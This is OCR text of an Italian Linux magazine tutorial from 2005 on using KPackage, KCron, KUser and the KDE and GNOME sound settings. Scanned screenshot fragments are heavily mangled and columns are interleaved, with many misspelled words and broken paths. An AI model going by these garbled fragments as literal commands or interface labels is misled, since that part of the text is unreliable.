*(] xCrem (Prandicatore & operazioni) 
+= Xonseie (Programma termale) 

© Rete 

12 Roo: Termnal 

È Run as diflerent user 

© Strumena dì sete 

4 Strumento per la notfica di error 

(I Termmale 

# Utenti Device Database 


AVVIO DEL PROGRAMMA Lan- 
1 ciamo il programma KPackage dal 
menu K, sottomenu Sistema ®. Se si 
usa Ubuntu, si consiglia di lanciare “Esegui 
comando” [Alt+F2) ed eseguire da lì “kdesu 
kpackage”, così da ottenere immediatamen- 
te i diritti di root. 


ceo. 
CITI 


(1) 
326 è Giugno 2005 


The GNU Accounting 35. 6.3.5:3£ 
Advanced Inttusion 102... 0.104 
Bluetooth primer driv.. 80K 2.10-Su 
Analyses Bluetooth. 13. 112-1 
Nbluez-pem... POMCIA support file.. 76k 2.10-Su 
Nbluez-utils Bluetooth tools and .. Sì. 2.10-Su 
WNbrltty Access software for ... 194... 3.4.1-4 
Nchecksecur... basic system securit.. 14. 2.0.7-1 
Ncrackkib-ru.... Runtime support for. 22. 2.7-15 
N debootstrap Bootstrap a basic D.. 26. 0.2.45ul 
Nodpsyco-de Tools to create confì. 26 1026 


2 AGGIORNIAMO L'ELENCO Dalla 


Nbluez-cups 
Nbluez-hcidu... 


finestra principale di KPackage, spo- 

stiamoci sui menu in alto e selezio- 
niamo “Speciale” @, quindi clicchiamo sulla 
voce “APT: Debian -> Aggiorna” @. Com- 
parirà una finestra che terrà traccia dei file 
via via scaricati dalla rete. 


Nacet The GNU Accounting... 35.., 6.3.5-30 
Naide Advanced Intrusion. 102. 0.10-4 
Nbluez-cups Bluetooth printer driv... 8OK 2.10-Su 
Nbluez-hcidu... Analyses Bluetooth. 13. 1.12.1 
Nbluez-pcm... PCMCIA support file... 76K 2.10-5u 
Nbluez-utils Bluetooth tools and... Sì. 2.10-Su 
Access software for. 194 3.4.1-4 
Nchecksecur... basic system securit., 14.., 2,0.7-1 
Netacklib-ru... Runtime support for. 22... 2.7-15 


3 NUOVI PACCHETTI Le linguette 


in alto mostrano, da sinistra a destra, 
i pacchetti installati, quelli di cui è di- 
sponibile un aggiornamento, quelli non in- 
stallati (Nuovi @) ed infine l'elenco completo 
di tutti i pacchetti. 
Clicchiamo sulla linguetta “Nuovi”. 


installiamo un nuovo programma 


Ricerca del pacchetto. Selezione e opzioni di installazione 


Clicchiamo sull'icona “Trova pacchet- 
to”@. Nella finestra che comparirà @ 


scriviamo il nome o la parte del nome che ci 
interessa: ad esempio KDE. 


® Trova pacchetto - KPackage ? © x MO 

ne 

Trova pacchetto 5 
bor] 


sione 
X Sottostringa Ricerca circolare | Lione-file 


——_—_——————— ——tt'.i bone 
(1) o coma @ 

icon themes release. 319.. 4 | 

window decorationt.. 166,4 | 2rchitettura 

TheK Desktop Emi 40K 5» | dipende da 

KDE Games metapa.. SOR 4. 


Arabic (ar) internatio.. 515. 4 
an 


Nkde-t18n-ar 


Clicchiamo sul 
pulsante “Trova”@ per cercare il 
pacchetto da installare. Chiudiamo la 
finestra di ricerca @. Clicchiamo sul pulsan- 
te “Installa” ® della finestra principale. 


Installa: 1 Pacchetto APT: Debian 


| pacchetti da installare @, le opzioni 
modificabili @ e la parte che visualiz- 
zerà lo svolgersi effettivo dell'operazione. 


Avviamo l'installazione cliccando su /nstalla. 


Disinstalliamo programmi superflui 


Un metodo semplice per eliminare applicazioni non utilizzate 


File Pacchetti Cache Speciale Impostazi 


Nuovi 


tà Installati | Aggiornati 
E Cerca: | 
} 


Pacchetto + 
® E&doc 

Eleditors 

® &games 

® gnome 


Pi 
1 IL SOFTWARE INSTALLATO 


le © 


Clicchiamo sul pulsante “Contrai albe- 

ro” @, così da avere ben visibili le di- 
verse categorie dei software installati. In 
questo modo, possiamo farci un'idea di 
quanto sia presente nel sistema. 


Pitti Denco tte @M) cani |» 
193/56 — — 


Oil Belp fue Abin 14122 
Debian system admi. 17. LÒ 
Debian system admi 207 10 
Atree Pyibon bosk i. 472_ 54 


Umm MOWTOs and. 618. 204 
Data fbes for ie Gi. 746. 
Documentation foe dh. 338. 
Staratatome GN ld 34 

The co-trm manual p 139 

Manual pages about 70 20 
OpesOfixesrg ef 201 LI 
Openoftice.erp ell. 212. 11 
Portia documentation 214215 |_” 


ESAMINIAMONE IL CONDENUTO 

È possibile visualizzare l'elenco dei file 

contenuti nel pacchetto selezionato pri- 
ma di disinstallarlo. Questo per esser certi 
che si tratti effettivamente dei file che pensia- 
mo. Clic sulla linguetta “Elenco file” @. 


PA Installati() Aggiomati Nuovi Tutti 
© Cerca: | 
Pacchetto 
* BDEBAPT 

» admin 
» BALTRO 
» Bbase 
» comm 
» Scontrib 
» B3devel 


Ae | 


® Beditors 


COSA DISINSTALLARE Selezio- 

niamo la linguetta “/nstallati”© e clic- 

chiamo sulla piccola freccia alla sini- 
stra della categoria da “ripulire”. La sezione 
“doc”@ è un buon candidato: spesso il disco 
è pieno di documentazione in eccesso. 


Seg Riassunto 


Leb by SA d sia AU 
Debian system admi. 207 10 
Afree Python book f_ 422.. 54 
utilities to manage o 19... 0.7 
Debian Project docu... 92... 3.1 
Linux HOWTOs and _. 618... 200 
Data files for the GI... 746... 2+t 
Documentation for th. 338. 24t 


v fusr/share/doc-base 

V fust/share/doc-base/postfix 

| vr fustishare/doc/postfix 

\ fust/share/doc/postfix/ADDRESS_C 

» fusrishare/doc/postfix/ADDRESS_R! 

» fusrjshare/doc/postfix/ADDRESS_VI 

\ /usr}share/doc/postfo/BACKSCATTE 

» fusr}share/doc/postfo/BASIC_CONF 

V fustishare/doc/postfio/BUILTIN_ FILI 

» fusr}share/doc/postiu/COMPATIBILI 

| w/ustfshare/doc/postfix\CONTENT..It 

Openoffice.org offic... 201.. 1.1 | Y/st/share/doc/postfixCYRUS_REA 
» Jusrishare/doc/postfnx/DATABASE_F 
» fustfshare/jdoc/postfix/DB_README® 


Standalone GNU Inf.. 34... 47 


The on-line manual p... 139. 24 
Manual pages about. 70... 2,0 


OpenOffice.org offic.. 212, 11. | 
Postfix documentation pis Li a a CD arie ni nrs 
©. csnsiata | 
DISINSTALLIAMOLO Una volta ac- 
certato il contenuto del pacchetto, pos- 
siamo procedere con l'operazione di ri- 
mozione. Clic sul pulsante “Disinstalla”. 
Comparirà una finestra, simile a quella vista 
durante l'installazione di un nuovo pacchetto. 


 abiword-help 

W debian-referenc... 
Vdebianreferenc... 
Ldiveintopyibon 
Wdoc-base 

® doc-debian 

8 doc-limox ml 


Online help for AbIW... 141 2.2, 
Debian system admi.. 37 LO 
Debian system admi.. 207. 10 
A free Python book L. 422. 5.4, 
utilities to manage o. 19. 0.7 
Debian Project docu. 92. 3.1 
Linux HOWTOs and. 618. 204 
L gimp-help-comm.. Data files for the Gi. 746. 24 
A gemp-help.en Documentation for th. 338... 244 
Vinto Standalone GNU inf. 34. 47 
Omandb The on-line manual p. 139. 2.4 
{manpages Manual pages about. 70. 2.0 
Wopenoffice.org:h.. »* OpenOffice.org offic.. 201 1.1 
Bopenoftice.org-h. » OpenOffice.org olfic. 212 Li 


Postfix documentation 214. 2.17 
sp ta 


INFORMAZIONI DETTAGLIATE 

La categoria “espansa” mostra tutti i 

pacchetti ad essa appartenenti che ri- 
sultano installati. Basta un clic sul nome di 
un pacchetto © per ottenere informazioni 
dettagliate su questo ®@. 


Disinttalla - KPackage 


Disinstalla: 1 Pacchetto APT: Debian 
PACCHETTI 
postix-doc 


x Elimina i file di configurazione 
* Rispondi sì 

Prova (non disinstallare) 

% Mantieni questa finestra 
| Disinstalla (©) (% Annulla 2} 
OPZIONI DI DISINSTALLAZIONE 
Nella finestra abbiamo il nome del pac- 
chetto da eliminare, uno spazio infor- 
mativo e alcune opzioni per controllare l'ope- 
razione. Abilitiamo Elimina i file di configura- 
zione ®©, quindi clicchiamo su Disinstalla @. 


(] 
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A tempo di KCron 


M Configuriamo il nostro sistema per l'esecuzione automatica 
di programmi secondo determinate scadenze. A colpi di mouse 
e senza dover metter mano a complessi file di configurazione 


e dopo pochi minuti dall'accensione del 
sistema notate una frenetica attività del- 
l'hard disk, niente paura! È solo il demone 
cron che esegue alcune operazioni in au- 
tomatico, per la “manutenzione” del sistema. 
Cron e il suo demone crond (il servizio) rappresen- 
tano il sistema utilizzato da Linux e altri sistemi 
Unix per pianificare (scheduling) le operazioni da 
svolgere in automatico allo scadere di un determi- 
nato intervallo temporale. 
Allora, perché non sfruttare lo stesso meccanismo 
per lanciare programmi a nostra discrezione, sen- 
za intervento alcuno, ad un'ora stabilita del giorno 
oppure a scadenza settimanale? Per fare ciò ci 
serviremo di KCron, un' interfaccia per KDE al 
classico programma cron. Vedremo come “pro- 
grammare” una sveglia per avvisarci che è giunta 
l'ora di staccarci dal nostro computer e prendere 
una pausa; tutto ciò di cui abbiamo bisogno è un 
programma per riprodurre file audio (nell'esempio 


viene usato mpg321) e, ovviamente, un file audio 
da usare come avviso. 


fogna 


Licenza: GNU GPL 
Sito we: www.kde.org 


Alessandro Di Nicola 


Tipo: Sistema 


40) (an) (30) (23) (22) (an 
#) (10) (1a) (an) (n 


DIOIOIOIOIO 


Vo] Ren 
Kemiluckpo 
MI Fig. 1 è IL tool KCron e la sua finestra di 

configurazione 


KGron: conosciamolo meglio 


Come avviare il programma e gli strumenti da utilizzare 


E*| Pianificazione operazioni - KGr, 


KPachage (Gestione pacchemò 
2 Gestore pacchemi Synagnc (Gestore pacchetti) 
1 KUser (Gestore utenti) 
I Impostazione della schermata dì log (Impostazione dela 
® RA Log di sistema 
4 Menu Editor 
Sin KSy3Guard (Monato: delle presta noni) 


File Modifica Impostazioni Aiuto 
da it) < 
Operazioni/Variabili + Valore 


Variabili 


E? Pianificazione operazioni - KGr, 


Modifica | Impostazioni Aiuto 


LA 


Descrizion 
Ctrl+N 


@ Strumento per la scafica di errori 


1 Termrale 


DENTE] Spostia- 


Apriamo il menu K, sottomenu 

Sistema, voce KCron. Nel nostro caso 
non è necessario, ma se volessimo modifi- 
care gli eventi cron per l'utente root do- 
vremmo lanciare il programma tramite il 
consueto “kdesu kcron”. 


nuova schermata, selezioniamo la 

cartella delle “Operazioni”: queste 
sono le istruzioni vere e proprie, eseguite ad 
intervalli regolari. La riga “Variabili”, invece, 
serve ad attribuire dei valori non standard 
ad alcune variabili di sistema. 


moci sul menu Modifica e clicchiamo 

su “Nuova”. A questo punto compa- 
rirà una finestra singola, che costituisce lo 
strumento principale di configurazione del 
programma. Da qui è possibile pianificare le 
attività da svolgere in automatico. 
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E ora di staccare! Facciamo pausa 


Pianifichiamo l'esecuzione di un file audio che ci avvisi di sospendere il lavoro al PC alle 20:00 di ogni giorno 


Goorma dei mete 
ali ICICHE) 


#)(9) ie fn (iz ix da Esce son germe 
is de 17 (ha 10 2021 
32 23 3 DI da dr da 


ONEAICHICE DEC 
mu 
ia in na is ia QI 
Ja 10 2033/3331 
imposta then 


db 

UIGECISECES 

10 13 40 #3 sa s5 
ponte nen 


VDR] Arno 


MODIFICA OPERAZIONE Tutte le 
1 opzioni di configurazione sono dispo- 
nibili in un'unica finestra. In alto viene 
stabilito cosa eseguire, nel resto della fine- 
stra, invece, decidiamo quando farlo. È pre- 
sente un nutrito numero di opzioni e funzio- 
nalità, tutte facilmente gestibili. 


Moantemnoperazione SK Gron 


‘ommento: [avvertì che è tardi suonando un file audio 
ogramma: \/usr/bin/mpg321 /home/ale/audio/smetti.mp3 Sfoglia.. 
x Silenziosa 


Giorni del mese Quotidiano 


Gennaio 2 (2/[2!(4] (SZ 
Febbraio 81/910 (11) 12|(13) 14 
Marzo 15 16) 117) (18) 19) (20) 21 
Apgile 22) (23| (24) (25) 126) (27| (28 
29 (30|(31)| Imposta tutti 


Esegui ogni giorno 


Maggio 


Giugno Giorni della settimana 
lynedì 


che si esegue un comando, se ne tiene 

traccia in un log e si spediscono via 
email i messaggi che sarebbero dovuti finire 
su schermo. Nel nostro caso non è necessa- 
rio, quindi abilitiamo l'opzione “Silenziosa”. 


FÀ TUTTO IN SILENZIO Ogni volta 


PM 
12](13){14){15){6){17 
18] (19) PIA P.1) (22) 3 


Pulisci tutto 


rMinuiz===== 
016) 


30] (35) [40] (45) (50) (55 


Pulisci tutto 


alla parte dell'interfaccia chiamata 

“Minuti” e clicchiamo su “0”, per far sì 
che il comando venga eseguito alle 20:00 
esatte di ogni giorno. 


” ALLE 20:00 IN PUNTO Passiamo 


ceo. 
ceo 
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Modifica operazione - KGron 


9° 
Commento: 5 
Programma: |Just/bin/mp9321 /homefale/audio/smetti.mp3 
® Abilitata 


Mesi Giorni del mese 
Gennaio 1} {2 [3] [4]{S][63[2 


Febbraio 


Sfoglia... 


Silenziosa 
Quotidiano 


#][9] (to) (11) 12) 13) {14)|- Esegui ogni giorno 
Marzo 15) 16) (17) (18) 19) 20) 21 
Aprile 22) 23) 24) PS) 06) 07) 28 | Ore 


Maggio 29) 30! 31) | Imposta tutti 


AM 
01(11(2][3]][41[S 
6.7 8/9/1011 
PM 


Giugno Giorni della settimana 
lunedì 

Luglio 

martedì 


“Programma” scriviamo “/usr/bin 

/mpg321/home/ale/audio/smetti 
.mp3”. Possiamo cambiare il programma da 
eseguire e il file audio relativo; ad esempio, 
se volete utilizzare un file audio in formato 
wav potete usare il programma “play”. 


2 COSA ESEGUIRE Nella sezione 


Modifica operazione - KGron 


Commento: [avverti che è tardi suonando un file audio 


Programma: \/usr/bin/mpg321 /home/ale/audio/smetti.mp3 Sfoglil 
x Abilitata 


Mesi Giorni del mese 
Gennaio 11(2(3](4/(S/|{68][Z 


Febbraio 8|/9 10 (11 12/13) 14 

Marzo 15) (16) 17 (18 19) (20) 21 

Apole 22] (23) (24) (25) 26] (27) 28] Ore 

Maggio 29 30)31)) Imposta tutti | |(g)(} 

Giugno Giorni della settimana 617 
lunedì 


PER NON DIMENTICARE Per 


Silenziosa 
Quotidiano 


Esegui ogni gio 


2 4 
8 10 


aver chiaro, anche in seguito, l'effetti- 

va funzione dei comandi inseriti, è 
sempre buona norma scrivere qualche paro- 
la di commento. Nella riga “Commento”, 
quindi, inseriamo la frase “Avverti che è tardi 
suonando un file audio”. 


rore——==—==-= 
AM 


nIG/R]EaIE 


lx Silenziosa 


-Quotidiano 


lx Esegui ogni giorno 


zione “Esegui ogni giorno”, nella se- 

zione della finestra chiamata 
“Quotidiano”, in modo da ripetere il comando 
a scadenza giornaliera. In questo modo alcu- 
ne opzioni risultano disabilitate. 


b OGNI GIORNO Selezioniamo l'op- 


Ore 
AM 
3/45 
910.11 
PM 
12) 13) [14] (15/16) 17) 
18) 19) FI) 21) 22) 23) 
Pulisci tutto 


] 
fo tes 10) 15) (20) èsì 


30) 35) (40) 45) (50) 55 
Pulisci tutto 


x Aonulla 
8 CONFERMIAMO TUTTO Per 


(1/2 
Giorni della settimana 67,8 


confermare usiamo il pulsante “OK”. 

Non bisogna preoccuparsi, i comandi 
immessi non sono ancora attivi, quindi è 
sempre possibile modificarli. 


settimana 6](7](s](o]fio]fl1 

PM 
12)(13)(14){15)(16]){t7 
18) (19) PR) 21) (22) @3 


Pulisci tutto 


orario di attivazione: nel nostro esem- 

pio, le ore 20 vanno più che bene per 
avvertirci che è ora di staccarci dalla tastie- 
ra. Andiamo perciò nella sezione “Ore” della 
finestra e clicchiamo sul pulsante “20”. 


é A QUESTA ORA Stabiliamo, poi, un 


I Pianificazione operazioni [modi 

(Elle) Modifica Impostazioni Aiuto 
n x 

ui Stampa... Ctrl4P | 


[ 
Esci Ctr+Q | 
Operare 


Avverti che è tardi suonando un file audi 


@Variabili 


non rimane altro che posizionarci sul 

menu “File” e scegliere la voce 
“Salva”. Poi, alle 20:00 esatte di ogni giorno 
il nuovo comando entrerà in azione. 


9 SALVIAMO IL LAVORO Adesso 


Non solo root 


MI Per chi proprio non riesce a fare a meno delle interfacce grafiche 
e si rifiuta di utilizzare la riga di comando, ecco un metodo 
alla portata di tutti per aggiungere e gestire gli utenti del sistema 


mministrare gli utenti sul proprio siste- 
ma è stato un compito demandato, fino 
a poco tempo fa, principalmente ai pro- 
grammi per console; negli ultimi tempi, 
grazie all'evoluzione dei desktop KDE e Gnome, 


KDE User Manager - KUser 


File User Group Settings Help 


a Fiidba 


User Login |Full Name 


1 bin bin 

2 daemon daemon 
3 adm adm 

4 Ip Ip 

5 sync sync 

6 shutdown shutdown 
7 halt halt 

8 mail mail 

9 news news 

10 uucp uucp 

11 operator operator 
12 games games 
14 ftp 


25 smmsp smmsp 


molti dei compiti d'amministrazione possono es- 
sere svolti per mezzo di interfacce grafiche: ma- 
gari con meno funzionalità ed opzioni disponibili 
rispetto ai corrispettivi software a riga di coman- 
do, ma più che adeguate per svolgere semplici 
mansioni, come l'aggiunta di utenti 
al sistema, con qualche clic del 
mouse. 

Generalmente l'aggiunta di utenti è 
un'operazione che dovrebbe essere 
svolta durante la fase di installazio- 
ne, con i programmi previsti dalla 
distribuzione, ma se questo non è 
stato fatto è necessario correre ai 
ripari e aggiungerne almeno uno, in 
quanto utilizzare il sistema con i pri- 
vilegi dell'utente amministratore 
(root) potrebbe essere pericoloso 


Ready 


MI Fig. 1 è KUser il tool per la gestione degli utenti 


per l'integrità dei dati e dello stesso 
sistema. 
Alessandro Di Nicola 


TR pra 


Licenza: GPL 
Sito WeB: www.kde.org 
Tipo: Utility 


Aumentiamo il numero di utenti 


Ecco come aggiungere un nuovo utente al sistema utilizzando il tool grafico KUser 


Esegui come root - “suliper KI i 


Please enter your password. 


© Cartelle condivise 
Ma KinfoCenter (Centro informazioni) 
Edi della configurazione 
Formattazione floppy 
KPackage (Gestione pacchetti) 
mapisc (Gestore pacchetti) 


È Gestore utenti di KDE -KUser 
File Utente Gruppo Impostazioni Aiuto 
T03î 39550 
\ emi) | Gruppi 
UID (Login utente Nome completo 


ichermata di login (Impostazione dell 
Tutte le applicazioni (È Log di sisterna 
* € Menu Editor 
tn KSysGuard (Monitor delle prestazioni) 
* I Monitor di sistema 
#IR Nuovo login {Nuovo login) 
+ Ora e data 
UE AddRemove Programs (Package Manager) 


amando, kuser "-icon' 'kuser' '-miniicon''kuser' 
© -caption "KUser" 1 daemon Jusr/sbin 


BB gEeSS io So 2bin Ibin 
3.sys {dev 
4symc fbin 


5 games fusr/games 
* © kymapsic (Package Manager) 


“[H] KCron (Pianificatore di operazioni) | b man fvar/cache/mai 
+ n Konsole (Programma terminale) Ignora fr ok] spola | 7lp Nvar/spool/lpd 


" Rete Bmail Nvarfmail 


1 AVVIO DEL PROGRAMMA Per 3 AGGIUNGIAMO L'UTENTE La fi- 


® Accessori 


Password: 


CO Ricorda la password 


permessi di root. È quindi necessario 

inserire la password di root nella fine- 
stra che comparirà al centro dello schermo 
(se si usa la distribuzione Ubuntu, la pas- 
sword da inserire sarà quella dello stesso 
utente) e premere Invio sulla tastiera. 


lanciare KUser spostimoci sul menu di nestra principale di KUser ci presenta 

KDE in basso a sinistra nello schermo l'elenco degli utenti, con un certo nu- 
e dalla sezione Sistema, selezioniamo mero di informazioni su di essi. Per aggiun- 
KUser. Questa è la configurazione standard gerne uno nuovo, utilizziamo il pulsante in 
KDE, in alcuni sistemi potrebbe essere leg- alto con l'etichetta “Add”. Da qui in poi ini- 
germente differente. zierà una procedura guidata. 


2 SOLO PER ROOT Sono richiesti i 


ce 
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I dati di accesso 


Indichiamo il nome utente e la password per l’accesso al sistema 


fust/sbin fbin/sh 
{bin (bin/sh 
/dev fbin/sh 
(bin fbin/sync 


Per piacere digita il nome del nuovo utente 


ftizid 
© Pulisci 


Gra 


a 


Annulla 


Narfwww 
Nvarbackuns 


fbin/sh 
fbinfsh 


È necessario in- 
serire il nome che il nuovo utente utiliz- 
zerà per l'accesso al sistema (login). 

Dopo aver inserito il nome ®@, premiamo il 
pulsante /nvio o clicchiamo su OK 


Informazioni utente | Gestione password . Gruppi 


Login utente tizio 
ID ytente 500 
Nome completo: 
Shell di Jogin: 
Cartella Home: 
Ufficio #1; 


<Vuoto> 


Verifica: 


Ufficio #2 
Indirizzo: 
Account disabilitato 


Dalla finestra “Proprietà dell'utente”, 


w OK | 


Annulla 


, 


clicchiamo su “Imposta password” e 


che in quello Verifica 


inseriamo la password sia nel campo Pass- 
word 


. Clic su OK. 


ID utente 
Nome completo: 
Shell di login: 
Cartella Home 
Ufficio #1: 
Ufficio #2 
Indirizzo: 


Account disabilitato 
Opzioni del nuovo account 


X Crea la camella Home 


Tizio Rossi 
(binybash] 


home,tizio 


Inseriamo, se necessario, il nome com- 

pleto dell'utente @, quindi indichiamo 
la Shell di login @, scegliendo dalla lista ‘“/bin 
/bash”. Infine clicchiamo sul pulsante OK. 


fifg0950 
Utenti | Gruppi 
UID Login utente Nome completo Cartella Home (Shell di logi 
#1 gnals Giiats Biig-Reporting System ladmin) /var/libygnats — 7binysh 
100 messagebus Narfrun/dbus — /binyfalse 
101 postfix (var/spool/postfix /binyfalse 
102 fetchmadl Narfrun/fetchmail fbin/sh 
103 cupsys LI Ibin/false 
104 gdm Gnome Display Manager Avarflibygdm Ibin/false 
109 hal Hardware abstraction layer Avatrun/hal Ibin/false 
fhome/klog (binyfalse 
Mome/syslog —/bin/false 
fhome/saned ___ /binyfalse 
homes tizio bin/bash 
Mmomejale Ibinybash 
Mhome/camilla — /bin/bash 
[nonexistem fbinysh 


SELEZIONIAMO IL NUOVO 
UTENTE 


| | Gruppi 


18:11, lunedì 11 aprile 2005 


a essere cambiata dopo l'ultimo cambio di password: 0 giorni |7: 
password scade dall'ultima modifica della password: po] giorni È 


ada la password |nviare un avvertimento di scadenza: Mai è 
int sarà disabilitato dopo la scadenza della password. Mal ;î 
2. gennaio . ° 2 x Mal 
| 
wo | Annulla 


DURATA DELLE PASSWORD 
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f ;Ì 

mazioni utente | Gestione password | Gruppi € 
iruppi É n 
I daemon 
] dialout 
1 dip 
1 disk 
1 fax 
1 floppy 
' 
1 gdm 
] gnats 
| | Gruppi 

18:11, lunedì 11 aprile 2005 | 
ia essere cambiata dopo l'ultimo cambio di password: 0 giorni è: | 
password scade dall'ultima modifica della password: 30 giorni # | 
ada la password inviare un avvertimento di scadenza: [ Î giorni DS | 
int sarà disabilitato dopo la scadenza della password: Mai È 

gennal x Mai 
[w_ QK | Annulla 


AVVISO PASSWORD SCADUTA 


Ippi 


18:11, lunedì 11 aprile 2005 


fe cambiata dopo l'ultimo cambio di password: O giomi (È 
ord scade dall'ultima modifica della password: Mai ? 
rassword inviare un avvertimento di scadenza: Mai è 
disabilitato dopo la scadenza della password: Mai :3 

1 (5) [gennaio _(-@o06fz} [01:00:00 Mai 


PASSWORD A TEMPO 


4 | voruppe 


18:11, lunedì 11 aprile 2005 


ia essere cambiata dopo l'ultimo cambio di password: 0 giomi |3 
i password scade dall'ultima modifica della password 30 giorni (3. 
ada la password inviare un avvertimento di scadenza: 1 giorni (3 


ant sarà disabilitato dopo la scadenza della password: { _ fiori {è 


2 (gennaic ci 5 2 ® Mai 


v_QK ][X Annulla 


DISABILITARE UN UTENTE 


Suono e multimedia 
con KDE e Gnome 


M Analizziamo in dettaglio gli strumenti utilizzati dai desktop più 
diffusi per gestire le periferiche audio, gli avvisi di sistema e altri 
aspetti legati al multimedia per migliorare l'interazione con gli utenti 


egli ultimi anni, gli sviluppatori a capo dei 
progetti KDE e Gnome hanno concentra- 
to i loro sforzi con l'obiettivo di rendere 
più semplice la gestione dell'intero siste- 
ma anche ad utenti poco esperti, così hanno dota- 
to il loro desktop di veri e propri “centri di control- 
lo”, molto simili nelle funzionalità (in alcuni casi an- 
che nell'aspetto) al Pannello di Controllo tipico dei 
sistemi Windows. Così si è cercato di concentrare 
l'intera gestione del sistema in un unico strumento 
grafico, semplice ed intuitivo da utilizzare, per te- 


Gli strumenti di Gnome 


sio FR] 


Audio CD Discs 
25 
0 ) 


Video DVD Discs 


Da qui è possibile gestire diversi tipi di supporti rimovibili, 
dalle memorie di massa (hard disk esterni, penne USB, 
schede di memoria, ecc.) a CD e DVD anche masterizzabi- 
li, fino alle fotocamere digitali. La scheda Storage permette 
di impostare il montaggio automatico delle periferiche. La 
scheda Multimedia consente di impostare le applicazioni 
da eseguire automaticamente quando il sistema rileva di 
un CD audio, un DVD video o una fotocamera digitale. 


Ble Edit Help 
e] 


A 
Volume 


NO 


(O) 
Microphone co 


Dl 


Per la configurazione dei volumi e del mixer audio, 
Gnome non prevede strumenti dedicati all'interno del 
suo centro di controllo, ma un apposito tool nel menu 
principale Applications/Audio & Video/Controllo vo- 
lume. Come accade per ogni applicazione di questo ti- 
po è possibile impostare il livello del volume per le li- 
nee in entrata e uscita: casse, microfono, CD, ecc. 


nere tutto sotto controllo con il minor dispendio di 
energie. Attraverso questi strumenti è possibile ge- 
stire la sicurezza, la rete, l'aspetto grafico, il rispar- 
mio energetico, periferiche (stampanti, tastiera, 
mouse, ecc.) e molto altro. Anche se operano en- 
trambi sullo stesso sistema, bisogna sottolineare 
che gli strumenti utilizzati dai due desktop e la loro 
organizzazione, sono alquanto differenti. Cerchi- 
amo di capire come sono fatti e come funzionano, 
analizzando in particolare la sezione per la gestio- 
ne dell'audio e di alcune applicazioni multimediali. 


rimovibili 
[O Play gudio CD discs when inserted 


Command: [gnome-<d unique pls w || frowse,, 


(I Play ygdeo DVD disks mhen inserted 


Command: [tcrem dvd) © |[arowe., Sfondo del desjfop 


Digital Camera 


Unità e supporti Tipi di carattere 


\ CENTRO DI 
Gg tonmoLLo ne 
Licenza: GNU GPL 
Sito WeB: www.kde.org 


Tipo: Sistema 


0 GNOME 
€ CONTROL CENTER 


Licenza: GNU GPL 
SITO WEB: Www.gnome.org 


Tipo: Sistema 


Tema Tastiera 


Server del database 


dei CD 


CI import digital photographs when connected 


Command: |gnome-volurne-manage w Drome... 


Server 
FreeD8& round robin server 
Q|other trees serveri 


Server 


Da qui è possibile impostare i parametri per la 
ricerca di informazioni sui CD audio (nome dell' 
artista, dell'album e titolo della canzone). La 
ricerca delle informazioni avviene utilizzando i 
server remoti CDDB impostando l'URL esatto del 
server. È possibile utilizzare il server FreeDB 
(freedb.freeedb.org) oppure indicarne altri. 


Sounds 
Event 
© Mibbles 
Bonus 


Port |Locatron 


freedbircedd.org 889 Random server 


| AUDIO 


nella di sistema. 


Utilizzando il menu System/Preferenze /Audio o 
l'icona Audio all'interno del centro di controllo 
possiamo avviare l'applicazione che si occupa del- 
la gestione dei suoni di sistema. Il tool Sound 
Preferences è diviso in schede: la prima (General) 
consente di eseguire o meno il server sonoro al- 
l'avvio del sistema, 
mette di associare suoni, anche personalizzati agli 
eventi, mentre con la terza (System Bell ) è possibi- 
le abilitare e personalizzare il suono della campa- 


la seconda (Sound Events) per- 
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Gli strumenti di KDE 


[AVVISI DI SISTEMA È co sudo ICD AUDIO] 


Attraverso questo modulo è Questo modulo semplifica la creazione di file 


possibile abilitare la notifica Onpesvi co wav, MP3 e Ogg Vorbis direttamente dal let- 
degli eventi da parte = cme oa tore CD-DVD. Il sistema può essere richiama- 
. p ispo: è, ” . TI HAI 
di KDE edi alcune geo to scrivendo "audiocd:/" nella barra dell'indi- 
applicazioni fonda- pera E, asa rizzo di Konqueror. È possibile configurare il 
tali. Sono di- Serpente datr'eventa. [annoio amore EDE Lead ; : i i i 
UMSIENI be tanten tipo di encoding, la ricerca su CDDB e le im- 


sponibili numerosi 
suoni predefiniti 
associati agli eventi 


postazioni del dispositivo 
C'e più Gi una comtipondenen posse 

® file s£IEMONAtO NOn puo essere aperto per la lettura 0 la 
DI Nel programma si è vendicato un errore che può causare 


disi z Nessun completamento comganderte trovato 

i sistema ma è D) Si avecato ua aspre di saga - CAMPANELLA 
de I SI è verificato un errore grave che ha causato la fine del ped a Campanella di sistema CAMPANELLA 

sempre possibile © STE PANICO 0 rev iole Gv ch come in Fo tenito DI SISTEMA | 


Utcrta da KDÈ 
(E viene mostrate un messaggio ciico 


inserire suoni per- 
sonalizzati e ascol- 
tare in anteprima 
l'effetto prodotto 


[x] Utilizza la campanella di sistema invece degli avvisi di si 
Volume: 


Da qui è possibile personalizzare il 
suono della campanella di sistema, il 
“bip” che si sente quando si verifica 
una condizione di errore. Attraverso 
il modulo "Accessibilità" è possibile 
personalizzare ulteriormente il suono 
scegliendone uno di proprio gusto 


i Viene mostrate un messaggio ai avvoimento 
GL Vime mostrate un messaggio informative 
CE viene posta una domanaa 

€ stata raggiunta la fine detta lista delle Comspondenze 


Controlli rapidi 


Aeplica a tutte le applicazioni 


Agata tutti | \Suoni 


_Risabilna putti | | Suoni DI 


AZIONI 
Riproduci un guonò i 


File Visualizza Impostazioni 


indice | cerca | Guida | 


@& Amministrazione di sistema 
3 Aspetto e Temi 

& Componenti di KDE 

+ ® Controllo energia 


& Desktop 
® Intemet e Rete 


Aiuto 


& Periferiche Benvenuto nel "dentro di c@ntrollo KDE", il posto centrale per configurare l'ambiente desktop. Seleziona una voce nell'indice a sini 
‘ii Regionali e Accesso facilitato caricare un mod i 


È Sicurezza e Privacy 
Suono e Multimedia 


b> Avvisi di sistema 
@ cD Audio 
è Campanella di sistema 
1) Mixer 

©) Recupero CODB 
i olf) Sistema sonoro 


Configurazione degli avvisi di sisà 
Configurazione dell'IO Slave peri COM 


Configurazione campanella di sistema 


{) Sistema sonoro 


Generale | Hardware | 


[X] Abilita il sistema sonoro 


di) Mixer 


Volumi perdefiniti 


| Salva i volumi attuali 


Suono in rete 


[x] Carica i volumi all'avvio di KDE 


Abilita questa opzione se vuoi che i suoni siano riprodotti su un computer remoto o se vuoî essere| Serun CDOB 
sistema da un altro computer 


brprdio dI] Impostazioni hardware 
(] Abilita il suono di rete = = 


Irasporte Ltd x Numero massimo di dispositivi provati per mixer: 


Prevenzione dei salti 


Cartella cache 


Se il suono "salta" durante la riproduzione, abilita l'opzione per eseguire il server con la massima p] 
thomeidomenicai c del 


